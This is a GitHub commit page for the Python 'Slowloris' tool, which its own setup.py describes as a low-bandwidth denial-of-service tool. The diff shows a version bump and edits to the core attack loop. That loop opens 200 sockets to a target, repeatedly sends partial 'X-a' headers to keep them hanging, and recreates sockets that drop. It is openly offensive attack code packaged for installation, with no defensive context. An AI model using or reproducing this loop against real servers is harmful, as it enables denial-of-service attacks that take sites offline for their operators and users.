Skip to content

Commit

Permalink
Fixed gkbrk#2.
Browse files Browse the repository at this point in the history
  • Loading branch information
gkbrk committed Sep 29, 2016
1 parent e888317 commit 82488f9
Show file tree
Hide file tree
Showing 2 changed files with 10 additions and 5 deletions.
2 changes: 1 addition & 1 deletion setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
name = "Slowloris",
py_modules = ["slowloris"],
entry_points = {"console_scripts": ["slowloris=slowloris:main"]},
version = "0.1.1",
version = "0.1.2",
description = "Low bandwidth DoS tool. Slowloris rewrite in Python.",
author = "Gokberk Yaltirakli",
author_email = "[email protected]",
Expand Down
13 changes: 9 additions & 4 deletions slowloris.py
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,7 @@ def main():
if len(sys.argv) != 2:
print("Usage: {} example.com".format(sys.argv[0]))
return

ip = sys.argv[1]
socket_count = 200
log("Attacking {} with {} sockets.".format(ip, socket_count))
Expand All @@ -45,17 +46,21 @@ def main():

while True:
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
for s in list_of_sockets:
for s in list(list_of_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
for i in range(socket_count - len(list_of_sockets)):

for _ in range(socket_count - len(list_of_sockets)):
log("Recreating socket...")
try:
s = init_socket(ip)
if s:
list_of_sockets.append(s)
except:
pass
except socket.error:
break
time.sleep(15)

if __name__ == "__main__":
main()

0 comments on commit 82488f9

Please sign in to comment.